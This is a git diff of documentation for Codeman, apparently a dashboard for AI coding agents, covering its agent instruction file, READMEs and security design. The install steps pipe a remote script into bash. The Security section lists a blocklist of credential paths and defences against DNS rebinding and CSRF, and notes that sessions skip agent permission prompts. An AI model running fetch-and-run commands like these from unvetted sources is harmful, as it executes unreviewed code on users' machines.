~111 handlers across 13 route files in `src/web/routes/`: system (35), sessions (24), ralph (9), plan (8), respawn (7), cases (7), files (5), mux (5), scheduled (4), push (4), teams (2), hooks (1). Each file has `@fileoverview` with endpoint details.
~146 handlers across 16 route files in `src/web/routes/`: system (41, incl. self-update `check`/`status`/`POST /api/system/update`, `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`, and `GET /api/codex/status`), sessions (29), orchestrator (10), cases (9), ralph (9), plan (8), files (14, incl. attachment register + list/history + `:attachmentId/raw`/`preview`/`thumbnail` + workspace `file-preview`/`file-thumbnail`), respawn (7), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), status-telemetry (1, `POST /api/status-telemetry` ← statusLine exporter), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
**HTTP contract** (stable since 0.9.x, see `docs/versioning-policy.md`; full envelope/status/error-code/SSE spec in `docs/api-reference.md`): responses use the `ApiResponse<T>` envelope — `{ success: true, data? }` or `{ success: false, error, errorCode }` (`src/types/api.ts`). `/api/v1/*` is a versioned alias of `/api/*` (URL rewrite in `server.ts`).
## Adding Features
- **API endpoint**: Types in `src/types/` domain file, route in `src/web/routes/*-routes.ts`, use `createErrorResponse()`. Validate with Zod schemas in `schemas.ts`.
- **API endpoint**: Types in `src/types/` domain file, route in `src/web/routes/*-routes.ts`. Return the `ApiResponse` envelope (`{ success: true, data }`; errors via `createErrorResponse()` with proper status code). Validate with Zod schemas in `schemas.ts`.
- **SSE event**: Add to `src/web/sse-events.ts` + `SSE_EVENTS` in `constants.js`, emit via `broadcast()`, handle in `app.js` (`addListener(`)
- **Session setting**: Add to `SessionState`, include in `session.toState()`, call `persistSessionState()`
- **Hook event**: Add to `HookEventType`, add hook in `hooks-config.ts:generateHooksConfig()`, update `HookEventSchema`
- **Mobile feature**: Add to relevant singleton, guard with `MobileDetection.isMobile()`
- **New test**: Pick unique port (search `const PORT =`). Integration: ports 3099-3211. Route tests: `app.inject()` — see `test/routes/_route-test-utils.ts`.
- **New test**: Pick unique port (search `const PORT =`). Route tests use `app.inject()` (no port needed) — see `test/routes/_route-test-utils.ts`.
**Validation**: Zod v4 (different API from v3). Define schemas in `schemas.ts`, use `.parse()`/`.safeParse()`.
## State Files
All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log).
All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart).
**Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
## Testing
**CRITICAL: You are running inside a Codeman-managed tmux session.** Never run `npx vitest run` (full suite) — it spawns/kills tmux sessions and will crash your own session. Only run individual files:
**Never run the bare full suite** (`npm test` with no file argument): the default config includes the browser-driven suites (`test/mobile/**` and 3 other Playwright tests), which need a live server + chromium + environment-specific PNG baselines and will fail/hang locally. Run individual files, or `test:ci` for a broad sweep:
```bash
npx vitest run test/<specific-file>.test.ts # Single file (SAFE)
npx vitest run -t "pattern" # By name (SAFE)
# npx vitest run # DANGEROUS — DON'T DO THIS
npm test -- test/<specific-file>.test.ts # Single file (SAFE, uses config/vitest.config.ts)
npm test -- -t "pattern" # By name (SAFE)
npm run test:ci # Everything except browser/perf suites — what CI runs
# npm test # DON'T — includes browser/visual suites
```
**Config**: Vitest with `globals: true`, `fileParallelism: false`. Timeout 30s, teardown 60s.
Raw `npx vitest` skips `config/vitest.config.ts`; always use `npm test --` or pass `--config config/vitest.config.ts`.
**Safety**: `test/setup.ts` snapshots pre-existing tmux sessions and never kills them. Only `registerTestTmuxSession()` sessions get cleaned up.
**Config**: Vitest with `globals: true`, `fileParallelism: false`. Timeout 30s, teardown 60s. `config/vitest.ci.config.ts` = same minus the browser/perf excludes — keep the two configs in sync when changing shared options.
**Tmux safety**: under vitest (`VITEST` env var, set automatically), `TmuxManager` no-ops ALL shell commands and becomes a pure in-memory mock — tests physically cannot create/kill/attach real tmux sessions (`IS_TEST_MODE` in `src/tmux-manager.ts`). `test/setup.ts` additionally strips `CODEMAN_PASSWORD`/`CODEMAN_USERNAME` so auth state from the running instance can't leak into tests.
**Ports**: Pick unique ports manually. Search `const PORT =` before adding new tests.
**Respawn tests**: Use `MockSession` from `test/respawn-test-utils.ts`. **Route tests**: `app.inject()` in `test/routes/`. **Mobile tests**: Playwright suite in `mobile-test/` (135 device profiles).
## Screenshots
Mobile screenshots in `~/.codeman/screenshots/`. API: `GET /api/screenshots`, `POST /api/screenshots`.
**Respawn tests**: Use `MockSession` from `test/respawn-test-utils.ts`. **Route tests**: `app.inject({ method, url, payload })` in `test/routes/` — no live port needed. **Mobile tests**: Playwright suite in `test/mobile/` (135 device profiles). Browser-testing infra and practices: `docs/browser-testing-guide.md`.
## Debugging
@@ -219,28 +274,14 @@ curl localhost:3000/api/subagents | jq # Background agents
cat ~/.codeman/state.json | jq # Persisted state
```
Mobile screenshots: `~/.codeman/screenshots/`, accessed via `GET/POST /api/screenshots`.
## Performance & Limits
Target: 20 sessions, 50 agent windows at 60fps. Limits in `src/config/`: terminal 2MB, text 1MB, messages 1000, max agents 500, max sessions 50, max SSE clients 100. Use `LRUMap` for bounded caches, `StaleExpirationMap` for TTL cleanup. Anti-flicker pipeline: `docs/terminal-anti-flicker.md`.
## References
**Memory leaks (24+ hour sessions)**: use `CleanupManager`, clear Maps in `stop()`, guard async with `if (this.cleanup.isStopped) return`. Frontend: store handler refs, clean in `close*()`. Verify: `npm test -- test/memory-leak-prevention.test.ts`.
Deep-dive docs in `docs/`: `respawn-state-machine.md`, `ralph-wiggum-guide.md`, `claude-code-hooks-reference.md`, `terminal-anti-flicker.md`, `opencode-integration.md`, `qr-auth-plan.md`. Agent Teams: `agent-teams/README.md`. SSE events: `src/web/sse-events.ts` + `constants.js`.
## Scripts & Tunnel
## Scripts
Key: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh` (tunnel start/stop/url). Production: `scripts/codeman-web.service`, `scripts/codeman-tunnel.service`.
## Memory Leak Prevention
24+ hour sessions: use `CleanupManager`, clear Maps in `stop()`, guard async with `if (this.cleanup.isStopped) return`. Frontend: store handler refs, clean in `close*()`. Verify: `npx vitest run test/memory-leak-prevention.test.ts`.
## Common Workflows
**Bug investigation**: Dev server → reproduce in browser → check terminal + `~/.codeman/state.json`.
**API endpoint**: Types in `src/types/*.ts` → route in `src/web/routes/*-routes.ts` → SSE event if needed → handle in `app.js`.
**Respawn changes**: Read `docs/respawn-state-machine.md` first. Use `MockSession` from `test/respawn-test-utils.ts`.
## Tunnel
`./scripts/tunnel.sh start|stop|url`. **Always set `CODEMAN_PASSWORD`** before exposing via tunnel.
Key scripts: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh start|stop|url` (tunnel). Production services: `scripts/codeman-web.service`, `scripts/codeman-tunnel.service`. **Always set `CODEMAN_PASSWORD`** before exposing via tunnel.
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2024 Claudeman Contributors
Copyright (c) 2024-2026 Codeman Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+183 -28
View File
@@ -2,18 +2,22 @@
<img src="docs/images/codeman-title.svg" alt="Codeman" height="60">
</p>
<h2 align="center">The missing control plane for AI coding agents</h2>
<h2 align="center">Mission control for AI coding agents</h2>
<p align="center">
<em>Agent Visualization &bull; Zero-Lag Input Overlay &bull; Mobile-First UI &bull; Respawn Controller &bull; Multi-Session Dashboard </em>
<em>Claude Code &bull; OpenCode &bull; Codex &bull; Terminal - One Dashboard &bull; Any Device</em>
</p>
<p align="center">
<a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-1e3a5f?style=flat-square" alt="License: MIT"></a>
<a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
<a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.5-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.5"></a>
<a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-22%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 22+"></a>
<a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
<a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
<img src="https://img.shields.io/badge/Tests-1435%20total-22c55e?style=flat-square" alt="Tests">
<img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
</p>
<p align="center">
<strong>English</strong> &bull; <a href="README.zh-CN.md">简体中文</a>
</p>
<p align="center">
@@ -28,16 +32,13 @@
curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash
```
This installs Node.js and tmux if missing, clones Codeman to `~/.codeman/app`, and builds it. You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code) or [OpenCode](https://opencode.ai) (or both). After install:
This installs Node.js and tmux if missing, clones Codeman to `~/.codeman/app`, and builds it.
You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), or [Codex](https://developers.openai.com/codex/cli) (any combination works). After install:
```bash
codeman web
# Open http://localhost:3000 — press Ctrl+Enter to start your first session
```
**Update to latest version:**
```bash
curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash -s update
# Open http://localhost:3000 and start your first session
```
<details>
@@ -45,12 +46,53 @@ curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | b
**Linux (systemd):**
```bash
mkdir -p ~/.config/systemd/user && printf '[Unit]\nDescription=Codeman Web Server\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=%s %s/dist/index.js web\nRestart=always\nRestartSec=10\n\n[Install]\nWantedBy=default.target\n' "$(which node)" "$HOME/.codeman/app" > ~/.config/systemd/user/codeman-web.service && systemctl --user daemon-reload && systemctl --user enable --now codeman-web && loginctl enable-linger $USER
mkdir -p ~/.config/systemd/user
cat > ~/.config/systemd/user/codeman-web.service << EOF
[Unit]
Description=Codeman Web Server
After=network.target
[Service]
Type=simple
ExecStart=$(which node) $HOME/.codeman/app/dist/index.js web
Restart=always
RestartSec=10
[Install]
WantedBy=default.target
EOF
systemctl --user daemon-reload
systemctl --user enable --now codeman-web
loginctl enable-linger $USER
```
**macOS (launchd):**
```bash
mkdir -p ~/Library/LaunchAgents && printf '<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0"><dict><key>Label</key><string>com.codeman.web</string><key>ProgramArguments</key><array><string>%s</string><string>%s/dist/index.js</string><string>web</string></array><key>RunAtLoad</key><true/><key>KeepAlive</key><true/><key>StandardOutPath</key><string>/tmp/codeman.log</string><key>StandardErrorPath</key><string>/tmp/codeman.log</string></dict></plist>\n' "$(which node)" "$HOME/.codeman/app" > ~/Library/LaunchAgents/com.codeman.web.plist && launchctl load ~/Library/LaunchAgents/com.codeman.web.plist
mkdir -p ~/Library/LaunchAgents
cat > ~/Library/LaunchAgents/com.codeman.web.plist << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.codeman.web</string>
<key>ProgramArguments</key>
<array>
<string>$(which node)</string>
<string>$HOME/.codeman/app/dist/index.js</string>
<string>web</string>
</array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
<key>StandardOutPath</key>
<string>/tmp/codeman.log</string>
<key>StandardErrorPath</key>
<string>/tmp/codeman.log</string>
</dict>
</plist>
EOF
launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist
```
</details>
@@ -61,7 +103,7 @@ mkdir -p ~/Library/LaunchAgents && printf '<?xml version="1.0" encoding="UTF-8"?
wsl bash -c "curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash"
```
Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code) or [OpenCode](https://opencode.ai)). After installing, `http://localhost:3000` is accessible from your Windows browser.
Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), or [Codex](https://developers.openai.com/codex/cli)). After installing, `http://localhost:3000` is accessible from your Windows browser.
</details>
---
@@ -139,10 +181,16 @@ Watch background agents work in real-time. Codeman monitors agent activity and d
- **Auto-behavior** — windows auto-open on spawn, auto-minimize on completion, tab badge shows "AGENT" or "AGENTS (n)" count
- **Nested agents** — supports 3-level hierarchies (lead session -> teammate agents -> sub-subagents)
**Agent Teams** — first-class support for Claude Code's native multi-agent teams (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`). `TeamWatcher` polls `~/.claude/teams/`, matches teammates to their lead session, and surfaces them as live subagent windows with **team-aware idle detection** — so the Respawn Controller won't fire while teammates are still working. See [`docs/agent-teams/`](docs/agent-teams/).
---
## Zero-Lag Input Overlay
<p align="center">
<img src="docs/images/zerolag-demo.gif" alt="Zerolag Demo — local echo vs server echo side-by-side" width="900">
</p>
When accessing your coding agent remotely (VPN, Tailscale, SSH tunnel), every keystroke normally takes 200-300ms to round-trip. Codeman implements a **Mosh-inspired local echo system** that makes typing feel instant regardless of latency.
A pixel-perfect DOM overlay inside xterm.js renders keystrokes at 0ms. Background forwarding silently sends every character to the PTY in 50ms debounced batches, so Tab completion, `Ctrl+R` history search, and all shell features work normally. When the server echo arrives 200-300ms later, the overlay seamlessly disappears and the real terminal text takes over — the transition is invisible.
@@ -166,12 +214,27 @@ WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE →
```
- **Multi-layer idle detection** — completion messages, AI-powered idle check, output silence, token stability
- **Auto-resume on usage limit** *(opt-in, off by default)* — when Claude halts on a subscription limit ("You've hit your limit · resets 3pm"), Codeman parses the reset time, waits it out plus a 2-minute safety buffer, then dismisses the rate-limit dialog and sends `continue` — so an overnight run survives the 5-hour window instead of stalling until morning. Recognizes every Claude Code limit-message format, retries if still limited, survives Codeman restarts, and holds respawn cycles while paused so `/clear` can't wipe the waiting conversation. Enable per session at the top of the Respawn tab
- **Circuit breaker** — prevents respawn thrashing when Claude is stuck (CLOSED -> HALF_OPEN -> OPEN states, tracks consecutive no-progress and repeated errors)
- **Health scoring** — 0-100 health score with component scores for cycle success, circuit breaker state, iteration progress, and stuck recovery
- **Built-in presets** — `solo-work` (3s idle, 60min), `subagent-workflow` (45s, 240min), `team-lead` (90s, 480min), `ralph-todo` (8s, 480min), `overnight-autonomous` (10s, 480min)
---
## Orchestrator Loop
Beyond single-session respawn, the **Orchestrator** turns a high-level goal into a phased plan and drives it to completion across multiple agents — a state machine that runs `idle → planning → approval → executing → verifying → (replanning) → completed`.
- **Plan, then execute** — generates a phased plan from your goal and pauses for approval before touching anything; reject with feedback to regenerate
- **Per-phase verification gates** — each phase is verified before the next begins; on failure the orchestrator replans instead of barreling ahead
- **Multi-agent execution** — fans phases out to team agents / a task queue, coordinating work too big for one session
- **Crash-safe** — full state persists under the `orchestrator` key in `state.json`, so it survives restarts
- **Driven from the UI or API** — the Orchestrator panel, or `POST /api/orchestrator/start` → `/approve` → `/status` (10 endpoints)
> Distinct from Ralph (a single-session autonomous loop): the orchestrator coordinates multi-phase, multi-agent execution. Full design: [`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md).
---
## Multi-Session Dashboard
Run **20 parallel sessions** with full visibility — real-time xterm.js terminals at 60fps, per-session token and cost tracking, tab-based navigation, and one-click management.
@@ -184,6 +247,17 @@ Run **20 parallel sessions** with full visibility — real-time xterm.js termina
Every session runs inside **tmux** — sessions survive server restarts, network drops, and machine sleep. Auto-recovery on startup with dual redundancy. Ghost session discovery finds orphaned tmux sessions. Managed sessions are environment-tagged so the agent won't kill its own session.
### Hostname-Aware Window Title
Running Codeman on multiple hosts (laptop, dev box, NAS)? The browser tab title is `codeman:<hostname>` so you can tell which backend each tab points at without clicking in:
```bash
codeman web # codeman:<os.hostname()>
codeman web --title-hostname dev-box # codeman:dev-box (manual override for noisy hostnames)
```
The title is templated into the served HTML on first byte, so it's correct from the very first paint and works without JavaScript. The same hostname prefix is applied to the tab-flash format (`⚠️ (N) codeman:<host>`) and to OS-level desktop notifications (`codeman:<host>: <event>`), so cross-host alerts in the system notification center are also unambiguous.
### Smart Token Management
| Threshold | Action | Result |
@@ -217,6 +291,20 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
---
## More Features
- **Self-update** — git-clone installs under systemd/launchd update in place from **App Settings → Updates**: it detects the latest release, auto-stashes a dirty tree, and streams build progress across the service restart (npm installs report as non-updatable)
- **Multi-CLI** — run **Claude Code**, **OpenCode**, or **Codex** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md)
- **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too
- **Voice input** — dictate prompts with Deepgram Nova-3 (Web Speech API fallback): toggle recording, auto-silence stop, live level meter (`Ctrl+Shift+V`)
- **Image input** — paste or drag-and-drop images straight into a session
- **Gesture control** *(opt-in)* — a MediaPipe hand-tracking overlay to grab/drag session windows and pinch buttons, hands-free. Enable with `CODEMAN_GESTURE=1` + App Settings → Display
- **Multi-monitor span** *(macOS)* — one click opens a browser window maximized across all displays, so floating agent/gesture panels can cross the physical seam
- **CJK / IME input** — full composition support for Chinese / Japanese / Korean
- **OS notifications & hostname-aware titles** — desktop alerts and tab titles are prefixed `codeman:<host>` so multi-host setups stay unambiguous
---
## Remote Access — Cloudflare Tunnel
Access Codeman from your phone or any device outside your local network using a free [Cloudflare quick tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/) — no port forwarding, no DNS, no static IP required.
@@ -338,6 +426,41 @@ When someone authenticates via QR, the desktop shows a notification toast with t
---
## Security
Codeman launches sessions with `--dangerously-skip-permissions`, so the web UI is by design a remote-code-execution surface for whoever can reach it — the whole security model exists to control *who* that is. Recent hardening (v0.9.0 + v0.9.5) closes the browser-driven attack paths that bite self-hosted dev tools. Full model: [`docs/security-architecture.md`](docs/security-architecture.md). **Found a vulnerability?** See [`SECURITY.md`](SECURITY.md) for private disclosure and the list of known limitations.
### Network & access
- **Loopback by default** — binds `127.0.0.1`, reachable only from the same machine, so the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with three concrete fixes (set a password, loopback + an authenticated tunnel, or explicitly acknowledge with `--allow-unauthenticated-network`)
- **Optional auth, real sessions** — HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Success issues an opaque 256-bit `codeman_session` cookie (`randomBytes(32)`) — validated server-side, not client-signed, so it can't be forged offline (24h TTL, auto-extend, device-context audit log)
- **Per-IP rate limiting** — 10 failed attempts → `429` with `Retry-After` (15-min decay). A valid cookie or correct password recovers *immediately* even while an attacker hammers the same IP — important because all tunnel traffic shares one loopback IP. QR auth has its own separate limiter
### Always-on browser hardening (v0.9.5)
These run for **every** request — before auth, even on the default no-password loopback install:
- **Host-header allowlist → blocks DNS rebinding.** A custom domain rebound to `127.0.0.1` is rejected with `403 host not allowed` before any handler runs. Allowed: `localhost`, any IP literal, the bind host, `.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS` (add custom reverse-proxy domains here — comma-separated; exact host or leading-dot `.suffix` for subdomains)
- **Cross-site Origin / CSRF guard.** On state-changing methods (`POST`/`PUT`/`PATCH`/`DELETE`) the `Origin` must pass the same allowlist, else `403 cross-site request blocked`. A *missing* Origin is allowed (so `curl`, the CLI, and Claude Code hooks keep working); only a present-but-foreign or opaque `null` origin is rejected
- **Raw `text/plain` bodies.** The global parser no longer JSON-parses `text/plain`, closing the CORS "simple request" CSRF vector where a cross-site `fetch` could smuggle JSON into a write route with no preflight
- **WebSocket origin validation.** The terminal WS upgrade runs the same Host + Origin check and closes with code `4003` on failure (anti-CSWSH)
- **XSS-escaped agent output.** AI-derived strings (tool names, command arguments, subagent descriptions) are HTML-escaped at every injection site before rendering in the subagent / activity panels
### Input, files & headers
- **Schema-validated inputs** — every API body is checked with Zod v4 schemas; a `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` env-prefix allowlist gates which settings each CLI can receive
- **Path containment** — file routes `realpath` before boundary checks (no TOCTOU); `..`, absolute paths, and symlinks resolving outside the working dir are rejected. Caps: 10 MB text preview / 50 MB raw & download; `/api/download` blocklists sensitive paths (`.env`, `*credentials*`, `~/.ssh/`, `.aws/credentials`). SVG/HTML is served `octet-stream` + `nosniff` + attachment so it downloads rather than executes
- **Security headers** — `Content-Security-Policy` (`default-src 'self'`, every exception enumerated), `X-Content-Type-Options: nosniff`, `X-Frame-Options: SAMEORIGIN`, HSTS over HTTPS, and CORS reflected **only** for `localhost` / `127.0.0.1` / `::1`
### Supply chain & isolation
- **Pinned & verified deps** — security-sensitive transitive deps are forced to patched versions via npm `overrides`; lockfile integrity is checked on every commit/PR (all entries resolve to `registry.npmjs.org` with `sha512` hashes). Public assets are NUL-byte-scanned and `node --check`-validated in CI
- **Multi-instance isolation** — `CODEMAN_INSTANCE` scopes both the tmux socket (`-L codeman-<name>`) and data dir (`~/.codeman-<name>`) so two instances never attach each other's live sessions
> Mobile login uses single-use, 60-second QR tokens — see [QR Code Authentication](#qr-code-authentication) above for the full design (it addresses all 6 flaws from USENIX Security 2025's QR-login study).
---
## SSH Alternative (`sc`)
If you prefer SSH (Termius, Blink, etc.), the `sc` command is a thumb-friendly session chooser:
@@ -354,21 +477,29 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
## Keyboard Shortcuts
> Ctrl bindings also accept Cmd on macOS.
| Shortcut | Action |
|----------|--------|
| `Ctrl+Enter` | Quick-start session |
| `Ctrl+W` | Close session |
| `Ctrl+Tab` | Next session |
| `Ctrl+K` | Kill all sessions |
| `Ctrl+L` | Clear terminal |
| `Ctrl/Cmd+W` | Kill active session |
| `Ctrl/Cmd+Tab` | Next session |
| `Alt/Option+[` / `Alt/Option+]` | Previous / next session |
| `Alt/Option+1`-`Alt/Option+9` | Switch to tab N (physical keys, so macOS Option layouts work) |
| `Ctrl+Shift+{` / `Ctrl+Shift+}` | Move active tab left / right |
| `Ctrl/Cmd+L` | Clear terminal |
| `Ctrl+Shift+R` | Restore terminal size |
| `Ctrl/Cmd +/-` | Font size |
| `Escape` | Close panels |
| `Ctrl+Shift+V` | Toggle voice input |
| `Ctrl/Cmd +` / `-` | Font size |
| `Ctrl/Cmd+?` | Keyboard help |
| `Shift+Enter` | Insert newline (sent to terminal) |
| `Escape` | Close panels & modals |
---
## API
REST over Fastify — **~140 handlers across 15 route modules**, plus an SSE stream and a WebSocket terminal channel. A representative subset:
### Sessions
| Method | Endpoint | Description |
|--------|----------|-------------|
@@ -390,6 +521,14 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
| `GET` | `/api/sessions/:id/ralph-state` | Get loop state + todos |
| `POST` | `/api/sessions/:id/ralph-config` | Configure tracking |
### Orchestrator
| Method | Endpoint | Description |
|--------|----------|-------------|
| `POST` | `/api/orchestrator/start` | Start orchestration from a goal |
| `POST` | `/api/orchestrator/approve` | Approve the generated plan |
| `GET` | `/api/orchestrator/status` | Current phase + progress |
| `POST` | `/api/orchestrator/stop` | Stop and clean up |
### Subagents
| Method | Endpoint | Description |
|--------|----------|-------------|
@@ -404,6 +543,9 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
| `GET` | `/api/events` | SSE stream |
| `GET` | `/api/status` | Full app state |
| `POST` | `/api/hook-event` | Hook callbacks |
| `GET` | `/api/system/update/check` | Check for a new release |
| `POST` | `/api/system/update` | Self-update (git-clone installs) |
| `POST` | `/api/clipboard` | Push text to all connected browsers (`{text}`) |
| `GET` | `/api/sessions/:id/run-summary` | Timeline + stats |
---
@@ -424,11 +566,13 @@ flowchart TB
S1["Session (PTY)"]
S2["Session (PTY)"]
RC["Respawn Controller"]
ORC["Orchestrator Loop"]
end
subgraph Detection["Detection Layer"]
RT["Ralph Tracker"]
SW["Subagent Watcher<br/><small>~/.claude/projects/*/subagents</small>"]
TW["Team Watcher<br/><small>~/.claude/teams/*</small>"]
end
subgraph Persistence["Persistence Layer"]
@@ -437,7 +581,7 @@ flowchart TB
end
subgraph External["External"]
CLI["AI CLI<br/><small>Claude Code / OpenCode</small>"]
CLI["AI CLI<br/><small>Claude Code / OpenCode / Codex</small>"]
BG["Background Agents<br/><small>(Task tool)</small>"]
end
end
@@ -448,14 +592,17 @@ flowchart TB
SM --> S1
SM --> S2
SM --> RC
SM --> ORC
SM --> SS
S1 --> RT
S1 --> SCR
S2 --> SCR
RC --> SCR
ORC --> SCR
SCR --> CLI
SW --> BG
SW --> SSE
TW --> SSE
```
---
@@ -480,13 +627,13 @@ The codebase went through a comprehensive 7-phase refactoring that eliminated go
| Phase | What changed | Impact |
|-------|-------------|--------|
| **Performance** | Cached endpoints, SSE adaptive batching, buffer chunking | Sub-16ms terminal latency |
| **Route extraction** | `server.ts` split into 12 domain route modules + auth middleware + port interfaces | **−60%** server.ts LOC (6,736 → 2,697) |
| **Domain splitting** | `types.ts` → 14 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
| **Frontend modules** | `app.js` → 8 extracted modules (constants, mobile, voice, notifications, keyboard, API, subagent windows) | **−24%** app.js LOC (15.2K → 11.5K) |
| **Config consolidation** | ~70 scattered magic numbers → 9 domain-focused config files | Zero cross-file duplicates |
| **Route extraction** | `server.ts` split into 15 domain route modules + auth middleware + port interfaces | **−67%** server.ts LOC (6,736 → 2,254) |
| **Domain splitting** | `types.ts` → 16 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
| **Frontend modules** | `app.js` → 18 extracted modules across infra, domain & feature layers | app.js core down to **~3.4K LOC** |
| **Config consolidation** | ~70 scattered magic numbers → 10 domain-focused config files | Zero cross-file duplicates |
| **Test infrastructure** | Shared mock library, 12 route test files, consolidated MockSession | Testable route handlers via `app.inject()` |
Full details: [`docs/code-structure-findings.md`](docs/code-structure-findings.md)
Full details: [`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
---
@@ -506,6 +653,14 @@ npm install xterm-zerolag-input
---
## Versioning
Codeman follows [SemVer](https://semver.org/). What the version number actually
commits to — and what counts as internal (the HTTP/SSE API, on-disk state,
experimental features) — is spelled out in
[`docs/versioning-policy.md`](docs/versioning-policy.md). If you script against
the HTTP API, pin to an exact version.
## License
MIT — see [LICENSE](LICENSE)
+665
View File
@@ -0,0 +1,665 @@
<p align="center">
<img src="docs/images/codeman-title.svg" alt="Codeman" height="60">
</p>
<h2 align="center">AI 编程智能体的任务控制中心</h2>
<p align="center">
<em>Claude Code &bull; OpenCode &bull; Codex —— 统一仪表盘 &bull; 任意设备</em>
</p>
<p align="center">
<a href="README.md">English</a> &bull; <strong>简体中文</strong>
</p>
<p align="center">
<a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-1e3a5f?style=flat-square" alt="License: MIT"></a>
<a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
<a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
<a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
<img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
</p>
<p align="center">
<img src="docs/images/subagent-demo.gif" alt="Codeman — 并行子智能体可视化" width="900">
</p>
> 本文档由英文版 [`README.md`](README.md) 翻译而来。如有出入,以英文版为准。
---
## 快速开始 — 安装
```bash
curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash
```
